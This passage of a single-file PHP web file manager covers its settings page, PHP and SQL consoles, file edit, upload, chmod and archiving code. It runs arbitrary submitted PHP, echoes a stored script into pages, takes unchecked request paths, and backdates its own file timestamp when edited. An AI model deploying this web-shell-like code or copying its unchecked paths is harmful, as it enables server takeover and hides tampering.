39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
